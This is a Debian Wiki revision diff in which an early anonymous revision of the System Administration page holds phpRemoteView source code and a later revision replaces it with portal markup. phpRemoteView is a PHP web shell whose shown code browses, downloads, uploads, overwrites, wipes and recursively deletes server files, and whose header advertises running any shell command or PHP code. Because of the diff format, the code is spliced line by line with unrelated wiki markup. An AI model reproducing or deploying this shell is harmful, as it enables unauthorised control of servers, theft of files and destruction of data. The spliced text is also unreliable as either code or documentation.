Differences between revisions 3 and 174 (spanning 171 versions)
Revision 3 as of 2004-03-20 04:26:46
Size: 38592
Editor: anonymous
Comment:
Revision 174 as of 2022-01-13 13:41:09
Size: 3478
Editor: ThiagoPezzo
Comment: make translation header easy to include in translations
Deletions are marked like this. Additions are marked like this.
Line 1: Line 1:
## Auto-converted by kwiki2moinmoin v2005-10-07
Исходный код phpRemoveView от 2002.08.05 (HOME)

--------------------------------------------------------------------------------
#language en
##For Translators - to have a constantly up to date translation header in you page, you can just add a line like the following (with the comment's character at the start of the line removed)
##<<Include(SystemAdministration, ,from="^##TAG:TRANSLATION-HEADER-START",to="^##TAG:TRANSLATION-HEADER-END")>>
##TAG:TRANSLATION-HEADER-START
~-[[DebianWiki/EditorGuide#translation|Translation(s)]]: [[bn/SystemAdministration|বাংলা]] - [[SystemAdministration|English]] - [[es/SystemAdministration|Español]] - [[fa/SystemAdministration|فارسی (Persian)]] - [[fr/SystemAdministration|Français]] - [[id/SystemAdministration|Indonesia]] - [[it/SystemAdministration|Italiano]] - [[ko/SystemAdministration|한국어]] - [[ms/SystemAdministration|Melayu]] - [[pt_BR/SystemAdministration|Português (Brasil)]] - [[ru/SystemAdministration|Русский(Russian)]] - [[sv/SystemAdministration|Svenska]] - [[uk/SystemAdministration|Українська]]-~
##TAG:TRANSLATION-HEADER-END
----
Line 7: Line 10:
<? {{attachment:Portal/IDB/icon-wiki-portal.png}}
Line 9: Line 12:
/''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' *{{{
 *
 * Welcome to phpRemoteView (RemView)
 *
 * View/Edit remove file system:
 * - view index of directory (/var/log - view logs, /tmp - view PHP sessions)
 * - view name, size, owner:group, perms, modify time of files
 * - view html/txt/image/session files
 * - download any file and open on Notepad
 * - create/edit/delete file/dirs
 * - executing any shell commands and any PHP-code
 *
 * Free download from http://php.spb.ru/remview/
 * Version 03, 2002-08-05.
 * Please report bugs... in russian only ;)
 *
 * This programm for Unix/Windows system.
 *
 * (c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' WHATS NEW ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * *
 *
 * --version3--
 * 2002.08.05 new: full windows support
 * fix some bugs, thanks Jeremy Flinston
 *
 * 2002.07.31 add file upload for create files
 * add 'direcrory commands'
 * view full info after safe_mode errors
 * fixed problem with register_glogals=off in php.ini
 * fixed problem with magic quotes in php.ini (auto strip slashes)
 *
 * --version2--
 * 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
 * add panel 'TOOLS': eval php-code and run shell commands
 * add copy/edit/create file (+panel 'EDIT')
 * add only-read mode (disable write/delete and PHP/Shell)
 *
 * 2002.01.19 add delete/touch/clean/wipe file
 * add panel 'INFO', view a/c/m-time, hexdump view
 * add session file view mode (link 'SESSION').
 *
 * 2002.01.12 first version!
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' */
}}}
{{{
   
   $version="2002-08-05";
}}}
{{{
   $hexdump_lines=8; // lines in hex preview file
   $hexdump_rows=24; // 16, 24 or 32 bytes in one line
}}}
{{{
   $write_access=true; // true - user may be write/delete.. <- Unsecured =)
                        // false - only read access (+disable PHP/Shell)
   
   $mkdir_mode=0755; // chmode for new dir ('MkDir' button)
[[FrontPage|Debian Wiki]] System Administration portal - This portal covers all aspects of administering Debian GNU/Linux systems, including installation, package management, configuration, monitoring and security.

{{{#!wiki debian
'''[[https://www.debian.org/doc/manuals/reference|Debian Reference Manual]]'''<<BR>>
'''[[https://www.debian.org/doc/manuals/debian-handbook/|Debian Administrator's Handbook]]'''
Line 70: Line 19:
||||||<tablestyle="width: 100%; border: 1px solid #d2d3d7; background-color: #f5f6f7; line-height: 2em;">||
||||||<rowstyle="background-color: #dd1155; color:#ffffff; line-height: 3em;">'''Quick access'''||
||||||<rowstyle="background-color: none; line-height: 1em;">{{{ }}}||
||{{attachment:Portal/IDB/icon-backup-32x32.png}} [[BackupAndRecovery|Backup And Recovery]]<<BR>>{{attachment:Portal/IDB/icon-floppy-32x32.png}} [[SystemBootProcess|Boot process]]<<BR>>{{attachment:Portal/IDB/icon-configure-32x32.png}} [[SystemConfiguration|Configuring systems]]<<BR>>{{attachment:Portal/IDB/icon-drive-cdrom-32x32.png}} [[SystemInstall|Installation]]<<BR>>{{attachment:Portal/IDB/icon-kernel-32x32.png}} [[Kernel | Kernel]]<<BR>>{{attachment:Portal/IDB/icon-monitor-32x32.png}} [[SystemMonitoring|Monitoring]]<<BR>>{{attachment:Portal/IDB/icon-chipset-32x32.png}} [[Hardware|Hardware]]|| {{attachment:Portal/IDB/icon-apt-32x32.png}} [[PackageManagement|Package management]]<<BR>>{{attachment:Portal/IDB/icon-printer-32x32.png}} [[Printing|Printing]]<<BR>>{{attachment:Portal/IDB/icon-backup-32x32.png}} [[SystemRescue|Rescue]]<<BR>>{{attachment:Portal/IDB/icon-security-32x32.png}} [[SecurityManagement|Security and Reliability Management]]<<BR>>{{attachment:Portal/IDB/icon-community-32x32.png}} [[UsersAndGroups|Users and Groups Management]]<<BR>>{{attachment:Portal/IDB/icon-emulator-32x32.png}} [[SystemVirtualization|Virtualization]]<<BR>> {{attachment:Portal/IDB/icon-display-32x32.png}} [[XWindowSystem|X system]]<<BR>> {{attachment:Portal/IDB/icon-hdd-32x32.png}} [[Storage|Storage and file systems]]||
||<-3 style="background-color:#e8e8e8">||

----

## <<TableOfContents(3)>>
Line 72: Line 30:
///////////////////////////////////////////////////////////////////////////////
{{{
   error_reporting(2047);
   set_magic_quotes_runtime(0);
   if (function_exists("ob_start")) ob_start("ob_gzhandler");
}}}
{{{
   $self=$HTTP_SERVER_VARS['PHP_SELF'];
}}}
{{{
   $url="http://".getenv('HTTP_HOST').
        (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
        $self.
        (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
}}}
{{{
   //
   // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
   //
   $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell ".
              "ftype fnot c2 confirm text df df2 df3 df4 ref from to";
   foreach (explode(" ",$autovars1) as $k=>$v) {
      if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
         elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
            //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
   }
}}}
{{{
   //
   // autofix 'magic quotes':
   //
   $autovars2="php shell text d";
   if (get_magic_quotes_runtime() |||| get_magic_quotes_gpc()) {
      foreach (explode(" ",$autovars2) as $k=>$v) {
         if (isset($$v)) $$v=stripslashes($$v);
      }
   }
== Wiki pages ==

{{{#!wiki important
Portal refactoring/merging in progress below this point
Line 111: Line 36:
'''List of pages related to System Administration in Debian:'''
Line 112: Line 38:
{{{
   $rand=microtime();
}}}
{{{
   if (!isset($c)) $c="";
   if (!isset($d)) $d="";
   if (!isset($f)) $f="";
}}}
{{{
   ob();
   $d=str_replace("\\","/",$d);
   if ($d=="") $d=realpath(".''")."''";
   if ($c=="") $c="l";
   if ($d[strlen($d)-1]!="''") $d.="''";
   $d=str_replace("\\","/",$d);
   if (!is_dir($d)) obb().die("<h3><P>Can't open directory <tt><font color=red><big>$d</big></font></tt>$obb");
   if (!realpath($d) |||| filetype($d)!="dir") obb().die("error dir type $obb");
   obb();
}}}
{{{
   //
   // OS detect:
   //
   $win=0;
   $unix=0;
   if (strlen($d)>1 && $d["1"]==":") $win=1; else $unix=1;
}}}
<<FullSearch(language:en category:CategorySystemAdministration)>>
Line 141: Line 41:
/////////////////////////////////////////////////////////////////////////////// ----
Line 143: Line 43:

$html=<<<remview
<html><head>
<title>phpRemoteView: $d$f</title>
</head>
<body>
<style>
A {
text-decoration : none;
}
.t {
font-size: 9pt;
text-align : center;
font-family: Verdana;
}
.t2 {
font-size: 8pt;
text-align : center;
font-family: Verdana;
}
.n {{{{
  font-family: Fixedsys
}}}
}
.s {
font-size: 10pt;
text-align : right;
font-family: Verdana;
}
.sy {
font-family: Fixedsys;
}
.s2 {
font-family: Fixedsys;
color: red;
}
</style>
remview;



function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
''''' Determine Type '''''
if( $mode & 0x1000 )
$type='p'; ''''' FIFO pipe '''''
else if( $mode & 0x2000 )
$type='c'; ''''' Character special '''''
else if( $mode & 0x4000 )
$type='d'; ''''' Directory '''''
else if( $mode & 0x6000 )
$type='b'; ''''' Block special '''''
else if( $mode & 0x8000 )
$type='-'; ''''' Regular '''''
else if( $mode & 0xA000 )
$type='l'; ''''' Symbolic Link '''''
else if( $mode & 0xC000 )
$type='s'; ''''' Socket '''''
else
$type='u'; ''''' UNKNOWN '''''

''''' Determine permissions '''''
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';

''''' Adjust for SUID, SGID and sticky bit '''''
if( $mode & 0x800 )
$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 )
$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 )
$world["execute"] = ($world['execute']=='x') ? 't' : 'T';

$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s\n", $world['read'], $world['write'], $world['execute']);
return $s;
}

function _posix_getpwuid($x) {{{{
   if ($GLOBALS['win']) return array();
   return @posix_getpwuid($x);
}}}
}

function _posix_getgrgid($x) {{{{
   if ($GLOBALS['win']) return array();
   return @posix_getgrgid($x);
}}}
}

function up($d,$f="",$name="") {{{{
   global $self,$win;
}}}
{{{
   $len=strlen($d."/".$f);
   if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; }
   elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";}
   else {$sf1="<font size=2>"; $sf2="<font size=3>";}
}}}
{{{
   echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td
   bgcolor=#cccccc> $sf1";
}}}
{{{
   $home="<a href='$self'><font face=fixedsys size=+2>*</font></a>";
   echo $home.$sf2."<b>";
   if ($name!="") echo $name;
   else {
      if ($f=="") echo "Index of";
      else echo "View file";
   }
   echo "</b></font> ";
   
   $path=explode("/",$d);
}}}
{{{
   $rootdir="/";
   if ($win) $rootdir=strtoupper(substr($d,0,2))."/";
}}}
{{{
   $ss="";
   for ($i=0; $i<count($path)-1; $i++) {
      if ($i==0)
         $comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>";
      else
         $comm="$path[$i]<big><b>/</big></b>";
    
      $ss.=$path[$i]."/";
      echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>";
      if ($i==0 && $d=="/") break;
   }
   echo "</font>";
   if ($f!="") echo "$sf1$f</font>";
}}}
{{{
   if ($win && strlen($d)<4) {
      echo " &nbsp; DISK: ";
      for ($i=ord('a'); $i<=ord('z'); $i++) {
         echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> ";
      }
   }
}}}
{{{
   echo "</b></big></td><td bgcolor=#999999 width=1% align=center>
   <table width=100% border=0 cellspacing=3 cellpadding=0
   bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a
   href=$self?c=t&d=".urlencode($d).">REMVIEW TOOLS</a></b>
   </nobr></font></td></tr></table>
   </td></tr></table>";
}}}
}


function up_link($d,$f) {
global $self;
echo "<small>
[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>Info</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>Plain</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>HTML</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>Session</b></a>]
[only <a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1><b>Plain</b></a>||<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1><b>HTML</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>Image</b></a>]
[<a href=$self/$f.txt?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>Notepad</b></a>]
[<a href=$self/$f?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>DOWNLOAD</b></a>]
[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>Edit</b></a>]
</small>";
}


function exitw() {
exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd>
<tr><td align=center>
Sorry, this programm run in read-only mode.<br>
For full access: write `<tt><nobr><b>\$write_access=<u>true</u>;</b></nobr></tt>`
in this php-file.</td></tr></table>
");
}



function ob() {{{{
   global $obb_flag, $obb;
   if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
   if (function_exists("ob_start")) {
      if ($GLOBALS['obb_flag']) ob_end_clean();
      ob_start();
      $GLOBALS['obb_flag']=1;
   }
}}}
}

function obb() {{{{
   global $obb;
   if (function_exists("ob_start")) {
      $obb=ob_get_contents();
      ob_end_clean();
      $obb="<P>
}}}
<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td>
<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center>
<b>Reason:</b></td></tr></table>
</td></tr><tr><td>
<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td>
$obb<P>
</td></tr></table>
</table><P>";{{{
      $GLOBALS['obb_flag']=0;
   }
}}}
}

function sizeparse($size) {{{{
   return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}}}
}



///////////////////////////////////////////////////////////////////////////


switch($c) {


// listing
case "l":
{{{
   echo $GLOBALS['html'];
}}}
{{{
   if (!realpath($d)) die("Error path. <a href=$self>Click here for start</a>.");
}}}
{{{
   up($d);
   
   ob();
   $di=dir($d);
   obb();
}}}
{{{
   if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")).
      "><nobr>&lt;&lt;&lt; <b>up directory</b> &gt;&gt;&gt;</nobr></a> <p>".
      "<font color=red><b>access denied</b></font>: $obb");
   unset($files);
   unset($dirs);
   while (false!==($name=$di->read())) {
      if ($name=="." |||| $name=="..") continue;
      if (@is_dir($d.$name)) $files["1 $name"]=$name;
      else $files["2 $name"]=$name;
      $ftype[$name]=@filetype($d.$name);
      $fperms[$name]=@fileperms($d.$name);
      $fmtime[$name]=@filemtime($d.$name);
      $fowner[$name]=@fileowner($d.$name);
      $fgroup[$name]=@filegroup($d.$name);
   }
   $di->close();
}}}
{{{
   echo "<table border=0 cellspacing=1 cellpadding=2 bgcolor=#cccccc>";
   echo "<tr bgcolor=#ffffff><td colspan=7><a href=$self?&c=l&d=".
      urlencode(realpath($d.".."))."><nobr>&lt;&lt;&lt; <b>up directory</b></a>
      &gt;&gt;&gt; &nbsp;
      [<a href=$self?c=d&d=".urlencode($d)."><b>dir commands</b></a>]
      </nobr></td></tr>";
   echo "<tr>
   <td width=20 align=center><small align=center><b>type</b></small></td>
   <td align=center width=200><small><b>name</b></small></td>
   <td align=center width=50 nobr><small><b>size</b></small></td>
   <td align=center width=80><small><b>owner:group</b></small></td>
   <td align=center width=80><small><b>perms</b></small></td>
   <td align=center width=80><small><b>mtime</b></small></td>
   </tr>";
}}}

{{{
   if (!isset($files) |||| count($files)==0) exit("</table><P>empty dir");
}}}
{{{
   ksort($files);
}}}

{{{
   if ($d[strlen($d)-1]!="''") $d.="''";
   foreach ($files as $k=>$v) {
      echo "<tr bgcolor=#ffffff>";
      $name=$d.$v;
      switch($ftype[$v]) {
      case "dir":
         echo "<td class=t><a href='?c=d&d=".urlencode($d.$v)."'>DIR</a></td><td class=n><a href=$self?&c=l&d=".
            urlencode($d.$v).">".substr($v,0,48)."</a></td>";
         echo "<td>&nbsp;</td>";
         break;
      case "file":
         $vv=strtolower(substr($v,strlen($v)-4,4));
         $ft="";
         if ($vv==".gif" |||| $vv==".jpg" |||| $vv==".png" |||| $vv==".bmp"
            |||| $vv==".ico" |||| $vv=="jpeg") $ft="&ftype=2&fnot=1";
         echo "<td class=t>".
            "<a href=$self/".urlencode($v)."?&c=v&fnot=1&ftype=3&d=".urlencode($d)."&f=".urlencode($v).">···</a> ".
            "<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($v).">···</a>".
            "</td><td class=n><a href=$self?&c=v&d=".
            urlencode($d)."&f=".urlencode($v)."$ft>".substr($v,0,48)."</a></td>";
         echo "<td class=s nowrap>".sizeparse(filesize($d.$v))."</td>";
         break;
      case "link":
         echo "<td class=t>&#8212;&gt;</td><td class=n><a href=$self?&c=l&d=".
            urlencode($d.$v).">".substr($v,0,48)."</a></td>";
         echo "<td>&nbsp;</td>";
         break;
      default:
         echo "<td class=t>?</td><td class=n>$v</td>";
         echo "<td>&nbsp;</td>";
         break;
      }
}}}
{{{
      $tmp=@_posix_getpwuid($fowner[$v]);
      if (!isset($tmp['name']) |||| $tmp['name']=="") $tow=$fowner[$v];
      else $tow=$tmp['name'];
      $tmp2=@_posix_getgrgid($fgroup[$v]);
      if (!isset($tmp2['name']) |||| $tmp2['name']=="") $tgr=$fgroup[$v];
      else $tgr=$tmp2['name'];
      echo "<td class=t2>$tow $tgr</td>";
      echo "<td class=t2>".display_perms($fperms[$v])."</td>";
      echo "<td class=t2>".date("d/m/y H:i:s",$fmtime[$v])."</td>";
}}}
{{{
      echo "</tr>";
}}}
{{{
      flush();
   }
}}}
{{{
   echo "<''table><P><font size=1>phpRemoteView, version $version. Free download - <a href='http:''/php.spb.ru/remview/'>php.spb.ru/remview</a></font>";
}}}

break;


// view
case "v":

{{{
   if (!isset($fnot)) $fnot=0;
   if (!isset($ftype)) $ftype=0;
   
   if ($fnot==0) {
      echo $GLOBALS['html'];
      up($d,$f);
      echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
      up_link($d,$f);
      echo "<hr size=1 noshade>";
   }
   if (!realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"rb")) exit("<p><font color=red><b>access denied</b></font>");
}}}
{{{
   if ($ftype==0 |||| $ftype==4) {
      $buf=fread($fi,filesize($d.$f));
      fclose($fi);
      //$buf=implode("",file($d.$f));
   }
}}}

{{{
   switch ($ftype) {
}}}
{{{
   case 0:
      echo "<pre>".htmlspecialchars($buf)."</pre>";
      break;
}}}
{{{
   case 1:
      readfile($d.$f);
      break;
}}}
{{{
   case 2:
      header("Content-type: image/gif");
      readfile($d.$f);
      break;
}}}
{{{
   case 3: // download
}}}
{{{
      // ... sucks headers ...
      //header("Connection: close");
      //header("Content-type: application/remview");
      //header("Content-Length: ".filesize($d.$f));
      header("Content-type: phpspbru");
      header("Content-disposition: attachment; filename=\"$f\";");
      readfile($d.$f);
      break;
}}}
{{{
   case 4: // session
   
      if (!function_exists("session_decode")) exit("Sorry, function session_decode() and SESSIONS a disabled");
      session_decode($buf);
      echo "<pre>";
      var_dump($HTTP_SESSION_VARS);
      echo "</pre>";
}}}
{{{
   }
}}}
{{{
   break;
}}}







case "i": // information for FILE
{{{
   echo $GLOBALS['html'];
   up($d,$f);
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
   up_link($d,$f);
}}}
{{{
   if (!realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
}}}
{{{
   echo "<pre>";
   echo "<big><b>".htmlspecialchars($d.$f)."</b></big>\n\n";
   echo "Size > ".filesize($d.$f)."<br>";
   echo "Owner/Group > ";
   $tmp=@_posix_getpwuid(fileowner($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo fileowner($d.$f)." ";
   else echo $tmp['name']." ";
   $tmp=@_posix_getgrgid(filegroup($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo filegroup($d.$f);
   else echo $tmp['name'];
   echo "<br>";
   echo "FileType > ".filetype($d.$f)."<br>";
   echo "Perms > ".display_perms(fileperms($d.$f))."<br>";
   echo "Create time > ".date("d/m/Y H:i:s",filectime($d.$f))."<br>";
   echo "Access time > ".date("d/m/Y H:i:s",fileatime($d.$f))."<br>";
   echo "MODIFY time > ".date("d/m/Y H:i:s",filemtime($d.$f))."<br>";
   echo "</pre>";
}}}
{{{
   $fi=@fopen($d.$f,"r");
   if ($fi) {
      $str=fread($fi,$hexdump_lines*$hexdump_rows);
      echo "<b>HEXDUMP PREVIEW</b>";
      $n=0;
      $a0="00000000<br>";
      $a1="";
      $a2="";
      for ($i=0; $i<strlen($str); $i++) {
         $a1.=sprintf("%02X",ord($str[$i])).' ';
         switch (ord($str[$i])) {
            case 0: $a2.="<font class=s2>0</font>"; break;
            case 32:
            case 10:
            case 13: $a2.="&nbsp;"; break;
            default: $a2.=htmlspecialchars($str[$i]);
         }
         $n++;
         if ($n==$hexdump_rows) {
            $n=0;
            if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";
            $a1.="<br>";
            $a2.="<br>";
         }
      }
      //if ($a1!="") $a0.=sprintf("%08X",$i)."<br>";
      echo "<table border=0 bgcolor=#cccccc cellspacing=1 cellpadding=4 ".
         "class=sy><tr><td bgcolor=#e0e0e0>$a0</td><td bgcolor=white>".
         "$a1</td><td bgcolor=white>$a2</td></tr></table><p>";
   }
   
   if (!$write_access) exitw();
}}}
{{{
   $msg="";
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>ONLY READ ACCESS</b></font>)";
   else fclose($fi);
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>Can't READ file - access denied</b></font>)";
   else fclose($fi);
   if ($msg=="") $msg=" (full read/write access)";
}}}
{{{
   echo "<b>FILE SYSTEM COMMANDS$msg</b><p>";
}}}
{{{
   echo "
}}}
<table border=0 cellspacing=0 cellpadding=0><tr>

<td bgcolor=#cccccc><a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f).
"><b>&nbsp;&nbsp;EDIT&nbsp;&nbsp;<br>&nbsp;&nbsp;FILE&nbsp;&nbsp;</b></a></td>
<td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=delete>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='DELETE'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br>
<small>Delete this file</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=clean>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='CLEAN'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br>
<small>filesize to 0byte</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=touch>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='TOUCH'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br>
<small>Set current 'mtime'</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=wipe>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='WIPE(delete)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br>
<small>Write '0000..' and delete</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>
</tr></table>
";
{{{
   echo "<form action=$self method=post><input type=hidden name=c value=copy>".
        "<b>COPY FILE</b> from <input type=text size=40 name=from value=\"".htmlspecialchars($d.$f)."\">".
        " to <input type=text name=to size=40 value=\"".htmlspecialchars($d.$f)."\">".
        "<nobr><input type=submit value='COPY!'>".
        "&gt;<input type=checkbox name=confirm value=copy></nobr></form>";
}}}

echo "
<form action=$self method=post>
<b>MAKE DIR</b> (type full path)
<input type=hidden name=c value=newdir_submit>
<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='MkDir'>
</form>";


echo "
<form action=$self method=post>
<b>CREATE NEW FILE or override old file</b><br>
<input type=hidden name=c value=newfile_submit>
Full file name <input type=text size=50 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='CREATE/OVERRIDE'>
<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br>
<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br>
</form>";

echo "
<form enctype='multipart/form-data' action='$self' method=post>
<input type=hidden name=c value=fileupload_submit>
<b>CREATE NEW FILE or override old file (FILE UPLOAD)</b><br>
<input type=hidden name='MAX_FILE_SIZE' value=999000000>
1. select file on your local computer: <input name=userfile type=file><br>
2. save this file on path: {{{
  <input name=df size=50 value=\"".realpath($d)."/\"><br>
}}}
3. <input type=checkbox name=df2 value=1 id=df2 checked>{{{
  <label for=df2>create file name automatic</label>
  &nbsp;&nbsp;OR&nbsp;&nbsp;
  type any file name:
  <input name=df3 size=20><br>
}}}
4. <input type=checkbox name=df4 value=1 id=df4>{{{
  <label for=df4>convert file name to lovercase</label><br>
}}}
<input type=submit value='Send File'>
</form>";

break;







case "d": // information for DIRECTORY
{{{
   echo $GLOBALS['html'];
   up($d,"","Directory");
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
   //up_link($d,"");
}}}
{{{
   if (!realpath($d) |||| !is_dir($d.$f)) exit("dir not found");
}}}
{{{
   echo "<pre>";
   echo "Owner/Group > ";
   $tmp=@_posix_getpwuid(fileowner($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo fileowner($d.$f)." ";
   else echo $tmp['name']." ";
   $tmp=@_posix_getgrgid(filegroup($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo filegroup($d.$f);
   else echo $tmp['name'];
   echo "<br>";
   echo "Perms > ".display_perms(fileperms($d.$f))."<br>";
   echo "Create time > ".date("d/m/Y H:i:s",filectime($d.$f))."<br>";
   echo "Access time > ".date("d/m/Y H:i:s",fileatime($d.$f))."<br>";
   echo "MODIFY time > ".date("d/m/Y H:i:s",filemtime($d.$f))."<br>";
   echo "</pre>";
   
   if (!$write_access) exitw();
}}}
{{{
   echo "<b>FILE SYSTEM COMMANDS</b><p>";
}}}
{{{
   echo "
}}}
<table border=0 cellspacing=0 cellpadding=0><tr>

<td><form action=$self method=post>
<input type=hidden name=c value=dirdelete>
<input type=hidden name=c2 value=files>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=ref value=\"$url\">
<input type=submit value='Delete all files in dir (rm *)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=dirdelete>
<input type=hidden name=c2 value=dir>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=ref value=\"$url\">
<input type=submit value='Delete all dir/files recursive (rm -fr)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

</tr></table>
";

echo "
<form action=$self method=post>
<b>MAKE DIR</b> (type full path)
<input type=hidden name=c value=newdir_submit>
<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='MkDir'>
</form>";


echo "
<form action=$self method=post>
<b>CREATE NEW FILE or override old file</b><br>
<input type=hidden name=c value=newfile_submit>
Full file name <input type=text size=50 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='CREATE/OVERRIDE'>
<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br>
<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br>
</form>";

echo "
<form enctype='multipart/form-data' action='$self' method=post>
<input type=hidden name=c value=fileupload_submit>
<b>CREATE NEW FILE or override old file (FILE UPLOAD)</b><br>
<input type=hidden name='MAX_FILE_SIZE' value=999000000>
1. select file on your local computer: <input name=userfile type=file><br>
2. save this file on path: {{{
  <input name=df size=50 value=\"".realpath($d)."/\"><br>
}}}
